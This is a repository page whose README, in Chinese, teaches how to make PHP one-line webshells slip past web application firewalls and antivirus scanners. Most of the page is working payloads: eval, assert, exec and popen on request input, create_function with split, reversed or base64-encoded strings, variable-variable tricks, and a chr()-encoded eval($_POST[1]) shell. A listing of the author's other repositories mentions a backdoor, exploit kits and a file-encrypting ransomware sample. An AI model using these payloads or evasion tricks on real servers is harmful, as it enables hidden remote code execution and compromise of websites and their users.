• Stars
    star
    282
  • Rank 146,549 (Top 3 %)
  • Language
    PHP
  • Created about 7 years ago
  • Updated about 7 years ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

分享PHP WebShell 绕过WAF 的一些经验 Share some experience about PHP WebShell bypass WAF and Anti-AV

PHP-WebShell-Bypass-WAF

PHP WebShell 一句话的结构是:输入和执行,这是经典的PHP 一句话代码:

    <?php eval($_GET['test']); ?>
    <?php eval($_POST['test']); ?>

WebShell 的输入点在$_GET$_POST ,执行点在eval() ,经典的一句话WAF 都会拦截

测试:<?php eval($_GET['test']); ?>

测试:<?php $_GET['test']; ?>

测试:<?php eval(); ?>

综合上面三点,可以发现WAF 是通过关键字来拦截的,把这三个测试用例放到安全狗下测试

可以发现,安全狗是通过综合判断来识别WebShell 的,现在,我们有两种的绕过方式:关键字绕过和混淆绕过

关键字绕过

一般来说,WAF 里边的拦截规则都是使用了正则来匹配的,第一个绕过思路:寻找WAF 拦截里边有没有匹配的关键字

测试用例:<?php%20assert('$code='.$_REQUEST['code']);$code();%20?>

测试用例:<?php%20$file=file_put_contents('code.php','<?php%20'.$_REQUEST['code'].'%20?>');include%20'code.php';%20?>

测试用例:<?php%20exec($_REQUEST['code']);%20?>

测试用例:<?php%20$handle=popen($_REQUEST['code'],'r');echo%20fread($handle,1024*4);?>

测试用例:<?php%20$function=create_function('$code',strrev('lave').'('.strrev('TEG_$').'["code"]);');$function();%20?>

思路1 总结:尽可能找到更多不被拦截的函数,然后用来测试

后来,这些关键字都被策略补上去了,接下来就使用混淆来绕过关键字检测

混淆绕过

create_function() 是比较有意思的函数,函数的原型为:Link

    string create_function ( string $args , string $code )

第一个参数是函数需要的参数列表,第二个参数为函数代码,最后会返回一个函数对象,然后再去调用.在构造代码的时候(构造第二个参数)可以有很多不同的混淆方法

    eval($_GET['test']);

通过很多不同种类的字符串变化成下面的例子

    'ev'.'al'.'($_G'.'ET['.'"test"]);'
    strrev('$(lave').'_G'.'ET['.'"test"]);';
    base64_decode('ZXZhbCgkX0dFVFsidGVzdCJdKTs=');

这样的变化是非常多的,用云WAF 和安全狗测试一下:

    <?php $function=create_function('$code','ev'.'al'.'($_G'.'ET['.'"test"]);') ?>
    <?php $function=create_function('$code',strrev('$(lave').'($_G'.'ET['.'"test"]);') ?>
    <?php $function=create_function('$code',base64_decode('ZXZhbCgkX0dFVFsidGVzdCJdKTs=')) ?>

腾讯云WAF 的策略是把create_function() 当作敏感函数拦截了,这三个WebShell 安全狗也都全部杀掉,先从安全狗开始尝试绕过.

首先使用一个空的create_function() 尝试看看安全狗有没有杀掉

create_function() 填充一些可以执行的代码,安全狗也没有杀.

填充eval($_GET['test']) ,发现安全狗识别出WebShell

使用混淆'ev'.'al'.'($_G'.'ET['.'"code"'.']);' 也同样可以被识别

使用strrev('ve').strrev('la').base64_decode('KCRfR0VUWw==').'"code"'.']);'; 也还是可以别识别

不过不要灰心,PHP 是很灵活的语言,变化的花样很多,试试这样写,就可以绕过安全狗的扫描了

做一句话WAF 绕过和免杀,一定要相信自己,AV 和WAF 除了用关键字和综合判断来识别WebShell ,终会有办法绕过的.现在过狗,接下来介绍一下间接调用函数与间接引用变量.

间接调用函数

PHP 里边有个语法是$function='eval'; ,然后就可以直接对$function 变量进行函数调用,语法是$function().基于这一点,我们回过头来绕过云WAF

Payload:

    <?php $function='create'.'_function';$function=$function('$code','ev'.'al'.'($_'.'GET'.'["code"]);');$function();?>

间接调用变量

PHP 还有一个语法是$$ 间接引用变量,比如:$test=1234;$reference='test';echo $$reference; 这样使用,reference 变量里边保存test 变量的名字,然后用符号$$ 即可引用到变量test .这样有什么意义呢?因为WAF 和AV 会通过$_GET ,$_POST 来判断WebShell ,不妨回到云WAF 再看看

使用$$ 来绕过,Payload 如下:

    <?php $a = '_GET';echo $$a['test'];  //  云WAF 规则已经更新,<?php ?> 会被拦截,所以去掉?> 即可绕过,由此判断是正则匹配,可以开开脑洞发挥一下绕过正则判断

这样就可以绕过对$_GET ,$_POST 的检测,同样,还有$_REQUESTS ,$_COOKIE

文末总结

到了这里,举一些不错的一句话木马来分析一下原理,推荐深入研究的读者访问这里Link

    <?php array_map("ass\x65rt",(array)$_REQUEST['expdoor']);?>

这个WebShell 使用到array_map()ass\x65rt ,array_map() 是调用函数的,第一个参数是即将要调用的函数名,这里ass\x65rt 使用了编码绕过,绕过了字符串判断,第二个参数是传递给这个函数的参数

    <?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>

这个WebShell 使用到了间接引用函数,$_uU 重定向到chr() ,;$_cC 最后解码为eval($_POST[1]); ,$_fF 解码为create_function ,最后就是create_function 的调用过程,和php-shell-create_function.php 原理一样

未知攻,焉知防,这个是关于PHP Shell 的一句话检测脚本Link,很多绕过的思路都是在做防御的时候想到的,没有绝对的防御,甚至是看起来正确的思路在代码实现的过程中会存在Bug 导致分析或者识别失败.

More Repositories

1

Source-and-Fuzzing

一些阅读源码和Fuzzing 的经验,涵盖黑盒与白盒测试..
C++
970
star
2

Machine-Learning-Note

机器学习笔记
Python
426
star
3

Fuzzing-ImageMagick

OpenSource My ImageMagick Fuzzer ..
Mask
295
star
4

network_backdoor_scanner

This is a backdoor about discover network device ,and it can hidden reverse connecting the hacker's server with encrypt commuication 后渗透后门程序,适合在已经攻陷的内网中做下一步的网络信息扫描..
C++
182
star
5

vuln_javascript

模拟一个存在漏洞的JavaScript 运行环境,用来学习浏览器漏洞原理和练习如何编写Shellcode (a JavaScript Execute Envirment which study browser vuln and how to write Shellcode ) ..
C++
180
star
6

PHP_Source_Audit_Tools

PHP 白盒分析工具,结合AST 和数据流跟踪分析代码,达到自动化白盒审计功能
Python
146
star
7

Hacker_Document

收集一些以前看过对于入门和进阶很有用的攻击原理文档..
142
star
8

WebShell-Detect-By-Machine-Learning

使用机器学习识别WebShell
Python
127
star
9

browser_vuln_check

browser_vuln_check ,利用已知的浏览器漏洞PoC 来快速检测Webview 和浏览器环境是否存在安全漏洞,只需要访问run.html 即可获取所有扫描结果,适用场景包含:APP 发布之前的内部安全测试,第三方Webview 漏洞检测等(browser_vuln_check framework using some known browser vulnerabilities PoC to quick automate aduit WebView or Browser security ,apply to application security before issue and detecting third-part WebView security)..
Python
117
star
10

SISE_Traning_CTF_RE

SNST Traning RE Project .华软网络安全小组逆向工程训练营,尝试以CTF 的形式来使大家可以动手训练快速提升自己的逆向工程水平.CTF 的训练程序又浅到深,没有使用太复杂的算法,在逆向的过程中遇到的难关都是在分析病毒和破解中遇到的实际情况,注重于实用.训练营还包含有源代码文件,训练程序和思路.希望可以帮助小伙伴们入门逆向工程这个神奇的世界..
C++
110
star
11

CVE-2017-7269-Echo-PoC

CVE-2017-7269 回显PoC ,用于远程漏洞检测..
Python
88
star
12

Think-in-Security

从二进制到WEB ,分享我在安全路上的思考与点滴,后面会不断地更新..
76
star
13

Angr-CTF-Learn-Note

The learn note of Angr-CTF ..
49
star
14

qemu-fuzzer

Qemu Fuzzer.针对Qemu模拟设备的模糊测试工具,主要思路是Host生成种子Data,然后传递给Guest中转程序,由中转程序访问MMIO,以达到和模拟设备的交互,不同于qtest自带的fuzzer.
C
43
star
15

XSS-hunter

XSS hunter 收集Webview 页面上存在的反射,储存型XSS ,方便应急APP 和前端页面在发布时遇到XSS 安全问题..
PHP
42
star
16

etherum_rpc_steal

The Etherum RPC Steal Toolset and honeypot .以太坊"偷渡"漏洞利用和蜜罐工具集.
Python
40
star
17

Kite

Browser Fuzzing Framework ,浏览器Fuzzing 框架..
HTML
31
star
18

klee-fl

KLEE-fl : Compile Project to Bitcode and Try Fuzzing with KLEE .
C++
27
star
19

my-blog

我的技术博客,记录成长
C++
26
star
20

Aurora_CAPTCHA

极光验证码,为反爬虫而生
Python
25
star
21

My_PoC

Collect some PoC that I writted .记录自己写过的PoC ..
Python
23
star
22

KiMi-VulnBot_Framework

KiMi 漏洞感知机器人扫描框架 @KiMi-VulnBot @KiMiThreatPerception
Python
22
star
23

cve_diff_checker

快速对自己项目中引入的第三方开源库进行1day patch检索,patch数据每天晚上11点更新
Roff
20
star
24

FreeWebpilotInChatGPT35

非付费的chatgpt3.5 用户也可以使用付费的chatgpt4 Webpilot 插件. Free ChatGPT 3.5 users can also use the paid ChatGPT 4 Webpilot plugin.
JavaScript
19
star
25

dns_hijack_server

A dns server that use to hijack other dns request in a wifi network for redirect to your custem http server ..
C++
16
star
26

browser_xss_auditor_fuzzing

浏览器XSS 过滤器Fuzzing 框架 (browser xss aduit fuzzing framework )..
HTML
15
star
27

blue_fariy

github 项目代码加密,在不创建github 私有项目的前提下使用github 更新代码又不希望自己的核心代码公开,bule_fariy.py 可以在git push 之前自动加密所有代码(Encrypt your Github repository code before git push )
Python
15
star
28

Python_CookieLib_0day

Using This 0-day to Anti-Python-Spider ..
PHP
14
star
29

Supplicant_Exploit_Kit

Sise supplicant exploit kit -- 华软蝴蝶漏洞利用工具包..
C++
13
star
30

Ethereum_Similar_Contract_Classify

Python
12
star
31

blockchain_story

酒剑论江湖,区块有故事..
12
star
32

BitLeague

聚合交易平台BitLeague
Python
11
star
33

pseudo-protocals-digger

system pseudo protocals digger for windows -- Windows 系统下的伪协议查看工具
Python
11
star
34

cross_domain_postmessage_vuln_dig

WEB 跨域postMessage() 漏洞挖掘工具,基本原理:使用AJAX 获取页面代码,结合iframe 和data 协议构造测试环境,然后在iframe 下的window.onmessage 中插入hook 监控onmessage 的参数,最后通过能否被原来的onmessage 逻辑引用参数中的data 属性来判断是否可以跨域传递数据..
HTML
11
star
35

Big_Project

我就笑笑不说话,哈哈哈哈..
7
star
36

Distributed-Task-Queue

Dynamic Expand Distributed Task Queue (分布式任务队列框架)
Python
7
star
37

ethereum_solidity_symbol_execute

Ethereum Solidity Symblo Execute Demo -- Check Vuln and Auto Build Payload ..
Python
6
star
38

supplicant_getadaptersinfo_dll

Bypass for supplicant server NAT validate .蝴蝶NAT 认证绕过DLL ..
C++
5
star
39

DCpp_Exploit_Kit

Sise DC++ exploit kit -- 华软DC++ 漏洞利用工具包..
C++
5
star
40

file_crypter

A Simple Malware Example About File Crypter Like CTB-locker ;文件劫持病毒实例代码,就像CTB-Locker 一样加劫持用户交钱恢复被加密的文件..
C
4
star
41

Vending_Machine

2012 的开发代表作品,自动售货机,那年开始从底层出发到硬件设计,这些都是乐趣所在,做一些很酷的东西一直都是追求的目标,从自动售货机的开发过程中开始逐渐萌生出Small System 的雏形,但是由于很多种原因没有办法继续开发下去,最后完成自动售货机是在2013 年的冬天也就是高三,那四天的日子也是我在科技协会一直记住的美好时光,感谢你们的支持,虽然你们可能看不到我在这里所写的东西,如果没有你们设计箱子做电路也就没有后面的故事,谢谢你们..
C
4
star
42

PyDbg_Document

This document is collect interface's using in PyDbg.py and conver to markdown for anybody convenient reading ..
Python
3
star
43

quick_scan_virus

a security tool for quick scan some virus and APT
Python
3
star
44

JPEG-Locker

2013 的开发代表作品,JPEG 保护者.Protect your JPEG picture and more important information .WARNING ! If you want to use my code ,please update the module - PictureLock.bas .I tested patch a key jmp and bypass the valid program could using arbitrarily string to decrypt protecting file .So I hope you can rewrite this module and all encrypt input file with password and XOR .
Visual Basic
2
star
45

USB-firewall

2011 的开发代表作品,2010 年吃了很多苦头才有点入门Windows 系统编程,U 盘防火墙是看了很多VB VC 病毒编写的代码和原理才写的,毕竟10 年一半的时间在学习编程一半时间在学习黑客技术,虽然一次都没有黑成功,但是积累了很多在以后都挺实用的理论.U 盘防火墙可以在一定程度上防止U 盘上的病毒入侵到主机..
Visual Basic
2
star
46

Lap-Game

2010 的开发代表作品,这是刚开始学写程序的第一年,是一个拥有智能AI 的圈叉游戏,AI 不仅可以防守,而且还可以进攻,当年写这段代码还没放到电脑上运行的时候是写在笔记本上面一步步在脑里面运行的,曾经现场运行这段代码来和真人对抗,诚然,现在早已忘记开发的乐趣,那个夕阳西下的时候,我曾经对未来拥有多大的憧憬,但是最后得到了经验,得到了技术,却早已失去掉曾经的乐趣,我想,最悲哀的故事也莫过于此吧,这就是在大学为什么不打算走开发而是做逆向工程的原因,人,最痛苦的事情就是挑起他最不愿意的担子去做他最喜爱的事情..
Visual Basic
2
star
47

python_compiler

Python 指令编译工具(Python Instruction Compiler )..
Python
1
star